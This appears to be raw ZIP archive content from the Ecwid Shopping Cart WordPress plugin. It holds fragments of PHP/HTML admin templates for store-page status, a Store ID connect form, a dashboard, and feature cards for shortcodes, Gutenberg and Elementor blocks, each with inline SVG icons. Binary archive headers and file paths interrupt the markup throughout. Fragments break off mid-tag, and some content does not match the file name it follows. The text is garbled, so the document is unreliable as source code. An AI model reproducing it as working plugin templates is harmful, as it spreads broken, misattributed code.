_e('Your store page', 'ecwid-shopping-cart'); ?></div> <div class="feature-element__title" data-ec-state="demo"> <?php echo sprintf( __('Connect your %s store', 'ecwid-shopping-cart'), Ecwid_Config::get_brand() ); ?> </div> <div class="feature-element__title" data-ec-state="no-pages"><?php _e('Add a store page', 'ecwid-shopping-cart'); ?></div> <div class="feature-element__status" data-ec-state="publish draft"> <span class="feature-element__status-title success" data-ec-state="publish"> <?php _e('Status', 'ecwid-shopping-cart'); ?>: </span> <span class="feature-element__status-title error" data-ec-state="draft"> <?php _e('Status', 'ecwid-shopping-cart'); ?>: </span> <div class="feature-element__status-dropdown-container"> <div class="dropdown-menu text-default"> <div class="dropdown-menu__link"> <a class="iconable-link"> <div class="iconable-link__text" data-ec-state="publish"><?php _e( 'Published', 'ecwid-shopping-cart' ); ?></div> <div class="iconable-link__text" data-ec-state="draft"><?php _e( 'Draft', 'ecwid-shopping-cart' ); ?></div> ‍ <span class="iconable-link__icon"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 18 28" focusable="false"><path d="M3.3 9.5l5.6 5.1 6-5.1c.8-.7 1.9-.7 2.6 0 .8.7.8 1.8 0 2.5l-7.2 6.4c-.5.4-1 .6-1.4.6s-1-.2-1.3-.5L.7 12.1c-.8-.7-.8-1.8 0-2.5.6-.8 1.9-.8 2.6-.1z"></path></svg> </span> </a> </div> <div class="list-dropdown list-dropdown-medium" style="display: none;" aria-hidden="true"> <ul data-ec-state="publish"> <?php self::render_dropdown_list_items( self::get_dropdown_items('publish', $page_data) ); ?> </ul> <ul data-ec-state="draft"> <?php self::render_dropdown_list_items( self::get_dropdown_items('draft', $page_data) ); ?> </ul> </div> </div> <a class="iconable-link text-default simple-svg-loader" style="display: none;" aria-hidden="true"> <div class="iconable-link__text"><?php echo ucfirst($page_status); ?></div> ‍ <span class="iconable-link__icon"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 28 28" width="28" height="28" focusable="false"><path d="M14,27C6.83,27,1,21.17,1,14c0-1.56,0.27-3.08,0.81-4.52C2.1,8.7,2.96,8.31,3.74,8.59c0.78,0.29,1.17,1.15,0.88,1.93 C4.21,11.63,4,12.8,4,14c0,5.51,4.49,10,10,10c5.51,0,10-4.49,10-10c0-5.51-4.49-10-10-10c-0.83,0-1.5-0.67-1.5-1.5S13.17,1,14,1 c7.17,0,13,5.83,13,13C27,21.17,21.17,27,14,27z"></path></svg> </span> </a> </div> </div> <div class="feature-element__status" data-ec-state="demo"> <a class="iconable-link iconable-link--append" href="<?php echo $page_link; ?>" target="_blank"> <span class="iconable-link__text"><?php _e( 'View demo store page', 'ecwid-shopping-cart' ); ?></span> <span class="iconable-link__icon"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 28 28"><path d="M25.5 15.39c-.83 0-1.5.67-1.5 1.5v4.41c0 1.49-1.21 2.71-2.71 2.71H6.71A2.72 2.72 0 0 1 4 21.29V6.71C4 5.21 5.21 4 6.71 4h4.45c.83 0 1.5-.67 1.5-1.5S11.99 1 11.16 1H6.71C3.56 1 1 3PK������Ê—[”Ö¹½Ø��Ø��:��ecwid-shopping-cart/templates/admin/legacy-connect.tpl.phpnu�„[µü¤��������<div class="wrap ecwid-admin"> <div class="ec-store-box"> <?php require ECWID_PLUGIN_DIR . 'templates/admin-head.php'; ?> <form method="POST" action="options.php" class="pure-form ecwid-settings general-settings"> <?php settings_fields('ecwid_options_page'); ?> <fieldset> <input type="hidden" name="settings_section" value="general" /> <div class="greeting-box"> <div class="image-container"> <img class="greeting-image" src="<?php echo( esc_attr ( ECWID_PLUGIN_URL ) ); ?>/images/store_inprogress.png" width="142" /> </div> <div class="messages-container"> <div class="main-message"> <?php printf( __('Thank you for choosing %s to build your online store', 'ecwid-shopping-cart'), Ecwid_Config::get_brand() ); ?> </div> <div class="secondary-message"> <?php _e('The first step towards opening your online business: <br />Let’s get started and add a store to your WordPress website in <strong>3</strong> simple steps.', 'ecwid-shopping-cart'); ?> </div> </div> </div> <hr /> <ol> <li> <h4><?php printf( __('Register at %s', 'ecwid-shopping-cart'), Ecwid_Config::get_brand() ); ?></h4> <div> <?php printf( __('Create a new %s account which you will use to manage your store and inventory. The registration is free.', 'ecwid-shopping-cart'), Ecwid_Config::get_brand() ); ?> </div> <div class="ecwid-account-buttons"> <a class="pure-button pure-button-secondary" target="_blank" href="<?php echo ecwid_get_register_link(); ?>"> <?php _e('Create new account', 'ecwid-shopping-cart'); ?> </a> <a class="pure-button pure-button-secondary" target="_blank" href="https://<?php echo Ecwid_Config::get_cpanel_domain(); ?>"> <?php _e('I already have an account, sign in', 'ecwid-shopping-cart'); ?> </a> </div> <div class="note"> <?php _e('You will be able to sign up through your existing Google, Facebook or PayPal profiles as well.', 'ecwid-shopping-cart'); ?> </div> </li> <li> <h4><?php _e('Find your Store ID', 'ecwid-shopping-cart'); ?></h4> <div> <?php printf( __('Store ID is a unique identifier of any %1$s store, it consists of several digits. You can find it on the "Dashboard" page of %1$s control panel. Also the Store ID will be sent in the Welcome email after the registration.', 'ecwid-shopping-cart'), Ecwid_Config::get_brand() ); ?> </div> </li> <li> <h4> <?php _e('Enter your Store ID', 'ecwid-shopping-cart'); ?> </h4> <div><label for="ecwid_store_id"><?php _e('Enter your Store ID here:', 'ecwid-shopping-cart'); ?></label></div> <div class="pure-control-group store-id"> <input id="ecwid_store_id" name="ecwid_store_id" type="text" placeholder="<?php _e('Store ID', 'ecwid-shopping-cart'); ?>" value="<?php if ( !ecwid_is_demo_store() ) echo esc_attr( get_ecwid_store_id() ); ?>" /> <button type="submit" class="<?php echo ECWID_MAIN_BUTTON_CLASS; ?>"><?php printf( __('Save and connect your %s store to the site', 'ecwid-shopping-cart'), Ecwid_Config::get_brand() ); ?></button> </div> </li> </ol> </fieldset> </form> </div> <?php require ECWID_PLUGIN_DIR . 'templates/admin-footer.php'; ?> </div> PK������Ê—[?ž“0 �� ��8��ecwid-shopping-cart/templates/admin/simple-dashboard.phpnu�„[µü¤��������<div class="wrap ecwid-admin ecwid-dashboard"> <div class="ec-store-box"> <div class="head"> <?php if( !Ecwid_Config::is_wl() ) { ecwid_embed_svg( 'ecwid-logo-blue' ); } ?> <h3> <?php printf( __( '%s Shopping Cart', 'ecwid-shopping-cart' ), Ecwid_Config::get_brand() ); ?> </h3> <div class="store-id drop-down"> <span> <?php _e( 'Store ID', 'ecwid-shopping-cart' ); ?> : <?php echo get_ecwid_store_id(); ?> </span> <ul> <li> <a href="admin.php?page=ec-store&reconnect"><?php _e( 'Disconnect store', 'ecwid-shopping-cart' ); ?></a> </li> </ul> </div> </div> <div class="body"> <div class="greeting-image"> <img src="<?php echo( esc_attr( ECWID_PLUGIN_URL )); ?>/images/store_ready.png" width="142" /> </div> <div class="greeting"> <?php if (@$_GET['settings-updated']): ?> <div class="greeting-title"> <?php _e('Congratulations!', 'ecwid-shopping-cart'); ?> </div> <div class="greeting-message mobile-br"> <?php printf( __( 'Your %s store is now connected<br /> to your WordPress website', 'ecwid-shopping-cart' ), Ecwid_Config::get_brand() ); ?> </div> <?php else: ?> <div class="greeting-title"> <?php _e('Greetings!', 'ecwid-shopping-cart'); ?> </div> <div class="greeting-message mobile-br"> <?php printf( __( 'Your %s store is connected<br /> to your WordPress website', 'ecwid-shopping-cart' ), Ecwid_Config::get_brand() ); ?> </div> <?php endif; ?> <ul class="greeting-links"> <li> <a target="_blank" href="<?php echo Ecwid_Store_Page::get_store_url(); ?>"><?php _e('Visit storefront', 'ecwid-shopping-cart'); ?></a> </li> <li> <a target="_blank" <?php if ( Ecwid_Api_V3::is_available() && ecwid_get_admin_sso_url(time(), '') ): ?> href="admin-post.php?action=ecwid-do-sso" <?php else: ?> href="//<?php echo Ecwid_Config::get_cpanel_domain(); ?>/cp?source=wporg" <?php endif; ?> ><?php _e('Open control panel', 'ecwid-shopping-cart'); ?></a> </li> </ul> </div> </div> </div> <?php require ECWID_PLUGIN_DIR . 'templates/admin-footer.php'; ?> </div>PK������Ê—[gá*”��”��B��ecwid-shopping-cart/templates/admin/welcome-connection-message.phpnu�„[µü¤��������ings-page__body" style="padding-bottom: .1px"> <div class="named-area"> <div class="named-area__header"> <div class="named-area__titles"> <div class="named-area__title"> <?php echo esc_html__( 'Ecwid plugin features', 'ecwid-shopping-cart' ); ?> </div> <div class="named-area__subtitle"> <?php echo esc_html__( 'Extend your site with an easy-to-use plugin compatible with WordPress page builders and editors.', 'ecwid-shopping-cart' ); ?> </div> </div> <div class="named-area__description"></div> <div class="named-area__additional"></div> </div> <div class="named-area__body"> <div class="a-card-stack"> <div class="a-card a-card--normal"> <div class="a-card__paddings"> <div class="feature-element has-icon"> <div class="feature-element__core"> <div class="feature-element__data"> <div class="feature-element__title"> <?php echo esc_html__( 'Store blocks for your website', 'ecwid-shopping-cart' ); ?> </div> <div class="feature-element__content"> <div class="feature-element__text"> <div class="titled-item"> <div class="titled-item__title"></div> <div class="titled-item__content"> <div> <?php echo esc_html__( 'Add store components to any place of your WordPress site using shortcodes or WordPress site builders and editors.', 'ecwid-shopping-cart' ); ?> </div> </div> </div> </div> </div> </div> <div class="feature-element__icon"> <svg xmlns="http://www.w3.org/2000/svg" vPK������Ê—[-B—|Î��Î��7��ecwid-shopping-cart/templates/admin/welcome-connect.phpnu�„[µü¤�������� 26.33 0 010 29.42 26.6 26.6 0 01-7.12 7.12 26.33 26.33 0 01-29.42 0 26.6 26.6 0 01-7.12-7.12 26.33 26.33 0 010-29.42 26.6 26.6 0 017.12-7.12A26.3 26.3 0 0128 1.68M28 0a28 28 0 1028 28A28 28 0 0028 0" fill="#32373c" /> <path d="M4.67 28a23.33 23.33 0 0013.15 21L6.69 18.5a23.18 23.18 0 00-2 9.5m39.08-1.18a12.25 12.25 0 00-1.92-6.43c-1.18-1.93-2.29-3.55-2.29-5.48a4 4 0 013.91-4.14h.31A23.35 23.35 0 008.5 15.18h1.51c2.44 0 6.22-.3 6.22-.3a1 1 0 01.14 1.93s-1.26.15-2.67.22l8.5 25.27L27.31 27l-3.64-10c-1.25-.07-2.44-.22-2.44-.22a1 1 0 01.14-1.93s3.86.3 6.15.3c2.44 0 6.22-.3 6.22-.3a1 1 0 01.15 1.93s-1.27.15-2.67.22l8.43 25.08 2.41-7.63c1.06-3.33 1.69-5.69 1.69-7.69M28.41 30l-7 20.34a23.13 23.13 0 006.59PK������Ê—[!Ïøï!��!��6��ecwid-shopping-cart/templates/admin/welcome-create.phpnu�„[µü¤��������7 8.36l-7.13 20.61a23.35 23.35 0 008.75-31.36" fill="#32373c" /> </svg> </div> </div> </div> </div> </div> <div class="a-card a-card--normal"> <div class="a-card__paddings"> <div class="iconable-block"> <div class="iconable-block__infographics"> <span class="iconable-block__icon"> <svg id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 56 56"><defs><style>.shortcode-cls-3{fill:#6d839b}</style></defs><path d="M3 17h50v29a4 4 0 0 1-4 4H7a4 4 0 0 1-4-4V17Z" fill="#fff"/><path d="M6.62 6h42.27A4.11 4.11 0 0 1 53 10.11V17H3V9.62A3.62 3.62 0 0 1 6.62 6Z" fill="#fbd88e"/><path class="shortcode-cls-3" d="M54 10.11A5.11 5.11 0 0 0 48.89 5H6.61A4.62 4.62 0 0 0 2 9.62V46a5 5 0 0 0 5 5h42.3a4.75 4.75 0 0 0 4.7-4.74ZM6.61 7h42.28A3.11 3.11 0 0 1 52 10.11V16H4V9.62A2.61 2.61 0 0 1 6.61 7ZM49.3 49H7a3 3 0 0 1-3-3V18h48v28.26A2.74 2.74 0 0 1 49.3 49Z"/><path class="shortcode-cls-3" d="M8 10h3v3H8zM14 10h3v3h-3zM20 10h3v3h-3zM19 43h-6a1 1 0PK������Ê—[S€eçú��ú��8��ecwid-shopping-cart/templates/admin/welcome-no_oauth.phpnu�„[µü¤��������class="shortcode-cls-3" transform="rotate(-70.81 28 33.5)" d="M15.82 32.5h24.35v2H15.82z"/></svg> </span> </div> <div class="iconable-block__content"> <div class="cta-block"> <div class="cta-block__central"> <div class="cta-block__title"> <?php echo esc_html__( 'Shortcodes', 'ecwid-shopping-cart' ); ?> </div> <div class="cta-block__content"> <?php echo esc_html__( 'Add shortcodes to the WordPress site to apply basic changes to your store appearance.', 'ecwid-shopping-cart' ); ?> </div> </div> <div class="cta-block__cta"> <a href="https://support.ecwid.com/hc/en-us/articles/360002137520?utm_source=wp-plugin" target="_blank" type="button" class="btn btn-default btn-medium"> <span><?php echo esc_html__( 'Learn More', 'ecwid-shopping-cart' ); ?></span> </a> </div> </div> </div> </div> </div> </div> <div class="a-card PK������Ê—[ùYuŸˆ ��ˆ ��4��ecwid-shopping-cart/templates/admin/welcome-page.phpnu�„[µü¤��������iv class="iconable-block__infographics"> <span class="iconable-block__icon"> <svg id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 56 56"><defs><style>.blocks-cls-2{fill:#6d839b}.blocks-cls-3{fill:#edf7fd}</style></defs><path d="M6.63 4H23v29H3V7.63A3.63 3.63 0 0 1 6.63 4Z" fill="#fbd88e"/><path class="blocks-cls-2" d="M24 34H2V7.63A4.64 4.64 0 0 1 6.63 3H24ZM4 32h18V5H6.63A2.63 2.63 0 0 0 4 7.63Z"/><path class="blocks-cls-3" d="M3 38h20v14H7a4 4 0 0 1-4-4V38Z"/><path class="blocks-cls-2" d="M24 53H7a5 5 0 0 1-5-5V37h22ZM4 39v9a3 3 0 0 0 3 3h15V39Z"/><path class="blocks-cls-3" d="M28 4h21.37A3.63 3.63 0 0 1 53 7.63V19H28V4Z"/><path class="blocks-cls-2" d="M54 20H27V3h22.37A4.64 4.64 0 0 1 54 7.63Zm-25-2h23V7.63A2.63 2.63 0 0 0 49.37 5H29Z"/><path d="M28 24h25v24.26A3.74 3.74 0 0 1 49.26 52H28V24Z" fill="#cbe87c"/><path class="blocks-cls-2" d="M49.26 53H27V23h27v25.26A4.75 4.75 0 0 1 49.26 53ZM29 51h20.26A2.74 2.74 0 0 0 52 48.26V25H29Z"/></svg> </span> </div> <div class="iconable-block__content"> <div class="cta-block"> <div class="cta-block__central"> <div class="cta-block__title"> <?php echo esc_html__( 'Store blocks for Gutenberg', 'ecwid-shopping-cart' ); ?> </div> <div class="cta-block__content"> <?php echo esc_html__( 'Add store plugin to the WordPress site in Gutenberg block editor, with no HTML or shortcodes.', 'ecwid-shopping-cart' ); ?> </div> </div> <div class="cta-block__cta"> <a href="https://support.ecwid.com/hc/en-us/articles/4489063443612?utm_source=wp-plugin" target="_blank" type="button" class="btn btn-default btn-medium"> <span><?php echo esc_html__( 'Learn More', 'ecwid-shopping-cart' ); ?></span> </a> </div> </div> </div> </div> </div> </div> <div class="a-card a-card--normal"> <div class="a-card__paddings"> <div class="iconable-block"> <div class="iconable-block__infographics"> <span class="iconable-block__icon"> <svg id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 56 56"><defs><style>.elementor-cls-2{fill:#fff}</style></defs><g id="_109-elementor" data-name="109-elementor"><path d="M51.4 2H4.6A2.59 2.59 0 0 0 2 4.6v46.8A2.59 2.59 0 0 0 4.6 54h46.8a2.59 2.59 0 0 0 2.6-2.6V4.6A2.59 2.59 0 0 0 51.4 2" fill="#d63362"/><path class="elementor-cls-2" d="M16.96 16.96h4.46v22.32h-4.46zM25.89 34.81h13.4v4.46h-13.4zM25.89 25.89h13.4v4.46h-13.4zM25.89 16.95h13.4v4.46h-13.4z"/></g></svg> </span> </div> PK������Ê—[ïvœÛ��Û��=��ecwid-shopping-cart/templates/admin/welcome-terms-privacy.phpnu�„[µü¤��������ral"> <div class="cta-block__title"> <?php echo esc_html__( 'Store blocks for Elementor', 'ecwid-shopping-cart' ); ?> </div> <div class="cta-block__content"> <?php echo esc_html__( 'Create a store from your website with the Ecwid plugin and Elementor page builder, with no coding required.', 'ecwid-shopping-cart' ); ?> </div> </div> <div class="cta-block__cta"> <a href="httpPK������Ê—[œò\}µ���µ���>��ecwid-shopping-cart/templates/importer/import-no-token.tpl.phpnu�„[µü¤��������<a class="button button-primary" id="reconnect-button" href="admin.php?page=<?php echo self::PAGE_SLUG_WOO; ?>&action=reconnect"><?php _e( 'Connect', 'ecwid-shopping-cart' ); ?></a>PK������Ê—[Å^ì@��ì@��A��ecwid-shopping-cart/templates/importer/import-picture-feature.pngnu�„[µü¤��������; ?> </div> <div class="feature-element__content"> <div class="feature-element__text"> <div class="titled-item"> <div class="titled-item__title"></div> <div class="titled-item__content"> <div> <?php echo esc_html__( 'Use advanced settings and Ecwid API capabilities to tailor the look and functionality of your site.', 'ecwid-shopping-cart' ); ?> </div> </div> </div> </div> </div> </div> <div class="feature-element__icon"> <svg id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 56 56"><defs><style>.settings-cls-3{fill:#6d839b}</style></defs><path d="M37.73 31.73a17.75 17.75 0 0 0 1.78-4.21l5.2-.77a21.81 21.81 0 0 0 0-7.12l-5.19-.87a15.12 15.12 0 0 0-.64-2.18 16.89 16.89 0 0 0-1-2L41 10.31a21.92 21.92 0 0 0-5-5.09l-4.27 3.05a17.75 17.75 0 0 0-4.21-1.78l-.77-5.2a21.81 21.81 0 0 0-7.12 0l-.87 5.19a15.41 15.41 0 0 0-2.18.71 16.89 16.89 0 0 0-2 1l-4.27-3.12a21.88 21.88 0 0 0-5.09 5l3.05 4.29a17.86 17.86 0 0 0-1.78 4.2l-5.2.78a21.81 21.81 0 0 0 0 7.12l5.19.86a18 18 0 0 0 .69 2.19 18 18 0 0 0 .95 2L5 35.69a21.92 21.92 0 0 0 5 5.09l4.28-3.05a17.75 17.75 0 0 0 4.21 1.78l.77 5.2a21.81 21.81 0 0 0 7.12 0l.87-5.19a15.41 15.41 0 0 0 2.18-.71 18.08 18.08 0 0 0 2-.93M23 30a7 7 0 1 1 7-7 7 7 0 0 1-7 7Z" fill="#edf7fd"/><path d="M51.1 36.91a10.38 10.38 0 0 0-.63-1.3l2-2.69a13.88 13.88 0 0 0-3.17-3.23l-2.73 1.94a10.67 10.67 0 0 0-2.67-1.13l-.5-3.31a13.77 13.77 0 0 0-4.53 0l-.55 3.3a8.66 8.66 0 0 0-1.39.45 10.45 10.45 0 0 0-1.3.64l-2.69-2a13.88 13.88 0 0 0-3.23 3.17l1.94 2.73a11 11 0 0 0-1.13 2.67l-3.31.5a13.77 13.77 0 0 0 0 4.53l3.3.55a9.75 9.75 0 0 0 .44 1.39 10.35 10.35 0 0 0 .6 1.26l-2 2.69a13.88 13.88 0 0 0 3.17 3.23l2.73-1.94a10.67 10.67 0 0 0 2.67 1.13l.5 3.31a13.77 13.77 0 0 0 4.53 0l.55-3.3a8.66 8.66 0 0 0 1.39-.45 12.64 12.64 0 0 0 1.3-.59l2.69 2a13.88 13.88 0 0 0 3.23-3.17l-1.94-2.73a10.67 10.67 0 0 0 1.13-2.67l3.31-.5a13.77 13.77 0 0 0 0-4.53l-3.3-.55a10 10 0 0 0-.41-1.4ZM41 45a4 4 0 1 1 4-4 4 4 0 0 1-4 4Z" fill="#f9d485"/><path class="settings-cls-3" d="M31 23a8 8 0 1 0-8 8 8 8 0 0 0 8-8Zm-8 6a6 6 0 1 1 6-6 6 6 0 0 1-6 6ZM41 36a5 5 0 1 0 5 5 5 5 0 0 0-5-5Zm0 8a3 3 0 1 1 3-3 3 3 0 0 1-3 3Z"/><path class="settings-cls-3" d="m55.8 38.69-.12-.69-3.36-.55a8 8 0 0 0-.28-.87c-.12-.28-.24-.56-.38-.84l2-2.75-.41-.59a14.74 14.74 0 0 0-3.4-3.47l-.58-.43-2.8 2a11.84 11.84 0 0 0-1.72-.73l-.29-1.94 1.09-.15.12-.72a22.72 22.72 0 0 0 0-7.45l-.11-.7-5.24-.87a15.06 15.06 0 0 0-.54-1.69c-.22-.54-.47-1.07-.74-1.59l3.17-4.29-.42-.59a22.79 22.79 0 0 0-5.2-5.31L36 4l-4.35 3.1a18.5 18.5 0 0 0-3.25-1.37L27.63.42l-.72-.11a22.72 22.72 0 0 0-7.45 0l-.7.11-.88 5.26a16.66 16.66 0 0 0-1.68.58c-.54.23-1.07.47-1.59.75l-4.29-3.17-.59.41a22.84 22.84 0 0 0-5.31 5.21L4 10l3.1 4.36a18.19 18.19 0 0 0-1.37 3.25l-5.29.79-.12.72a22.66 22.66 0 0 0 0 7.44l.11.71 5.26.88a17.31 17.31 0 0 0 .57 1.67c.2.52.44 1 .69 1.53l-3.18 4.33.42.59a22.79 22.79 0 0 0 5.2 5.31L10 42l4.35-3.1a18.5 18.5 0 0 0 3.25 1.37l.79 5.3.72.11a22.54 22.54 0 0 0 7.45 0l.7-.11.28-1.32 2.17.36c.09.3.2.59.31.88s.23.54.36.8l-2 2.76.41.59a14.74 14.74 0 0 0 3.4 3.47l.58.43 2.8-2a11.84 11.84 0 0 0 1.72.73l.51 3.4.71.12a14.86 14.86 0 0 0 4.86 0l.7-.12.57-3.37c.3-.1.59-.2.86-.31s.57-.23.85-.36l2.77 2 .59-.41a14.93 14.93 0 0 0 3.47-3.4l.43-.58-2-2.8a11.84 11.84 0 0 0 .73-1.72l3.4-.51.12-.71a14.68 14.68 0 0 0-.06-4.81Zm-35.67 5.14-.76-5.12-.63-.17a15.89 15.89 0 0 1-4-1.68l-.56-.32-4.22 3a21.69 21.69 0 0 1-3.72-3.84l3.07-4.15L9 31a18.65 18.65 0 0 1-.9-1.86 17.1 17.1 0 0 1-.65-2.07l-.16-.63-5.12-.86a21 21 0 0 1 0-5.37l5.12-.76.17-.63a16.27 16.27 0 0 1 1.68-4l.33-.56-3-4.22a21.36 21.36 0 0 1 3.83-3.73l4.16 3.07.54-.32a15.09 15.09 0 0 1 2-.94 13.52 13.52 0 0 1 2-.67l.64-.16.86-5.12a21 21 0 0 1 5.37 0l.76 5.12.63.17a15.89 15.89 0 0 1 4 1.68l.56.32 4.22-3a21.69 21.69 0 0 1 3.76 3.84l-3.07 4.16.27.54a16 16 0 0 1 .93 1.91 13.36 13.36 0 0 1 .6 2.05l.15.66 5.14.85a21.06 21.06 0 0 1 0 5.38l-1.35.2a14.6 14.6 0 0 0-3.79.13l-.7.12-.57 3.37c-.3.1-.6.2-.89.32s-.56.25-.84.39l-2.75-2-.59.41a14.93 14.93 0 0 0-3.47 3.4l-.43.58 2 2.81a11.72 11.72 0 0 0-.73 1.71l-3.4.51-.12.72a15.29 15.29 0 0 0-.2 2.34l-.5 3a21 21 0 0 1-5.36-.03Zm33.79-1.32-3.21.49-.17.62a10.28 10.28 0 0 1-1 2.44l-.33.56 1.89 2.65a13.58 13.58 0 0 1-2 2l-2.6-1.92-.56.3a12.27 12.27 0 0 1-1.21.55 9.55 9.55 0 0 1-1.25.4l-.64.16-.54 3.22a12.31 12.31 0 0 1-2.78 0L39 50.71l-.62-.17a9.88 9.88 0 0 1-2.44-1l-.55-.33-2.66 1.89a13.11 13.11 0 0 1-2-2l1.93-2.61-.31-.57a9 9 0 0 1-.55-1.13 9.82 9.82 0 0 1-.4-1.27l-.16-.64-3.22-.54a11.75 11.75 0 0 1 0-2.78l3.21-.48.17-.63a10.21 10.21 0 0 1 1-2.43l.33-.56-1.89-2.65a12.65 12.65 0 0 1 2-1.95l2.62 1.93.56-.33c.39-.21.79-.41 1.19-.58a9.55 9.55 0 0 1 1.25-.4l.64-.16.54-3.22a12.31 12.31 0 0 1 2.78 0l.58 3.19.62.17a9.88 9.88 0 0 1 2.44 1l.55.33 2.66-1.89a13.11 13.11 0 0 1 2 2l-1.93 2.62.32.56a9.14 9.14 0 0 1 .57 1.18 8.84 8.84 0 0 1 .37 1.24l.14.66 3.24.54a11.84 11.84 0 0 1-.06 2.81Z"/></svg> </div> </div> </div> </div> </div> <?php if ( current_user_can( 'manage_options' ) ) { ?> <div class="a-card a-card--normal"> <div class="a-card__paddings"> <div class="iconable-block"> <div class="iconable-block__infographics"> <span class="iconable-block__icon"> <svg id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 56 56"><defs><style>.hidden-cls-2{fill:#6d839b}</style></defs><rect x="3" y="4" width="50" height="48" rx="4" fill="#edf7fd"/><path class="hidden-cls-2" d="M49 53H7a5 5 0 0 1-5-5V8a5 5 0 0 1 5-5h42a5 5 0 0 1 5 5v40a5 5 0 0 1-5 5ZM7 5a3 3 0 0 0-3 3v40a3 3 0 0 0 3 3h42a3 3 0 0 0 3-3V8a3 3 0 0 0-3-3Z"/><rect x="10" y="21" width="10" height="7" rx="2" fill="#bcdbf2"/><rect x="23" y="29" width="10" height="7" rx="2" fill="#cbe87c"/><rect x="36" y="17" width="10" height="7" rx="2" fill="#fbd88e"/><path class="hidden-cls-2" d="M18 20h-1v-5a2 2 0 0 0-4 0v5h-1a3 3 0 0 0-3 3v3a3 3 0 0 0 3 3h1v12a2 2 0 0 0 4 0V29h1a3 3 0 0 0 3-3v-3a3 3 0 0 0-3-3Zm1 6a1 1 0 0 1-1 1h-6a1 1 0 0 1-1-1v-3a1 1 0 0 1 1-1h6a1 1 0 0 1 1 1ZM31 28h-1V15a2 2 0 0 0-4 0v13h-1a3 3 0 0 0-3 3v3a3 3 0 0 0 3 3h1v4a2 2 0 0 0 4 0v-4h1a3 3 0 0 0 3-3v-3a3 3 0 0 0-3-3Zm1 6a1 1 0 0 1-1 1h-6a1 1 0 0 1-1-1v-3a1 1 0 0 1 1-1h6a1 1 0 0 1 1 1ZM44 16h-1v-1a2 2 0 0 0-4 0v1h-1a3 3 0 0 0-3 3v3a3 3 0 0 0 3 3h1v16a2 2 0 0 0 4 0V25h1a3 3 0 0 0 3-3v-3a3 3 0 0 0-3-3Zm1 6a1 1 0 0 1-1 1h-6a1 1 0 0 1-1-1v-3a1 1 0 0 1 1-1h6a1 1 0 0 1 1 1Z"/></svg> </span> </div> <div class="iconable-block__content"> <div class="cta-block"> <div class="cta-block__central"> <div class="cta-block__title"> <?php echo esc_html__( 'Advanced settings', 'ecwid-shopping-cart' ); ?> </div> <div class="cta-block__content"> <?php echo esc_html__( 'Change functionality of the plugin with advanced settings, like dashboard visibility for webmasters, display of store components, clean URLs, and more.', 'ecwid-shopping-cart' ); ?> </div> </div> <div class="cta-block__cta"> <a href="<?php echo esc_url( admin_url( 'admin.php?page=ec-params' ) ); ?>" target="_blank" type="button" class="btn btn-default btn-medium"> <span><?php echo esc_html__( 'Go to Settings', 'ecwid-shopping-cart' ); ?></span> </a> </div> </div> </div> </div> </div> </div> <?php }//end if ?> <div class="a-card a-card--normal"> <div class="a-card__paddings"> <div class="iconable-block"> <div class="iconable-block__infographics"> <span class="iconable-block__icon"> <svg id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 56 56"><defs><style>.api-settings-cls-3{fill:#6d839b}</style></defs><path d="M47.49 20.12a22.58 22.58 0 0 0-1.23-2.52l3.83-5.18A27 27 0 0 0 44 6.18l-5.29 3.75a21.36 21.36 0 0 0-5.16-2.19l-.95-6.38a26.7 26.7 0 0 0-8.74 0L22.8 7.72a19.53 19.53 0 0 0-2.68.88 20.9 20.9 0 0 0-2.52 1.22L12.42 6a27 27 0 0 0-6.24 6.11l3.75 5.26a21.53 21.53 0 0 0-2.19 5.16l-6.38 1a26.64 26.64 0 0 0 0 8.73l6.36 1.06A21.56 21.56 0 0 0 8.58 36a20.77 20.77 0 0 0 1.16 2.4l-3.83 5.18A27 27 0 0 0 12 49.82l5.26-3.75a21.36 21.36 0 0 0 5.16 2.19l.95 6.38a26.7 26.7 0 0 0 8.74 0l1.06-6.36a19.53 19.53 0 0 0 2.68-.88 21.87 21.87 0 0 0 2.52-1.14l5.18 3.83A27 27 0 0 0 49.82 44l-3.75-5.26a21.36 21.36 0 0 0 2.19-5.16l6.38-.95a26.7 26.7 0 0 0 0-8.74l-6.36-1.09a19.16 19.16 0 0 0-.79-2.68Z" fill="#ecf5fe"/><path class="api-settings-cls-3" d="M27.77 56a27.59 27.59 0 0 1-4.53-.37 1 1 0 0 1-.82-.84L21.55 49a23.12 23.12 0 0 1-4.2-1.78l-4.74 3.37a1 1 0 0 1-1.17 0 27.66 27.66 0 0 1-6.35-6.47 1 1 0 0 1 0-1.17l3.45-4.67A20.27 20.27 0 0 1 6.9 34.1l-5.7-.89a1 1 0 0 1-.83-.82 27.61 27.61 0 0 1 0-9.07 1 1 0 0 1 .84-.82L7 21.64a22.92 22.92 0 0 1 1.78-4.21l-3.41-4.74a1 1 0 0 1 0-1.17 27.62 27.62 0 0 1 6.47-6.34 1 1 0 0 1 1.17 0l4.66 3.45a22.72 22.72 0 0 1 2.06-1 20.76 20.76 0 0 1 2.18-.75l1-5.73a1 1 0 0 1 .79-.78 28.1 28.1 0 0 1 9.06 0 1 1 0 0 1 .82.84L34.45 7a23.12 23.12 0 0 1 4.2 1.78l4.74-3.37a1 1 0 0 1 1.17 0 27.66 27.66 0 0 1 6.35 6.47 1 1 0 0 1 0 1.17l-3.44 4.66a22.63 22.63 0 0 1 1 2.06 19.88 19.88 0 0 1 .68 2.15l5.7 1a1 1 0 0 1 .83.82 27.55 27.55 0 0 1 0 9.06 1 1 0 0 1-.84.82l-5.84.83a23.12 23.12 0 0 1-1.78 4.2l3.37 4.74a1 1 0 0 1 0 1.17 27.86 27.86 0 0 1-6.47 6.35 1 1 0 0 1-1.17 0l-4.65-3.48a22.21 22.21 0 0 1-2.06.91 21.1 21.1 0 0 1-2.16.74l-1 5.73a1 1 0 0 1-.82.82 27.5 27.5 0 0 1-4.49.37Zm-3.49-2.24a25.57 25.57 0 0 0 7 0l.94-5.65a1 1 0 0 1 .75-.8 19.84 19.84 0 0 0 2.54-.83 20.65 20.65 0 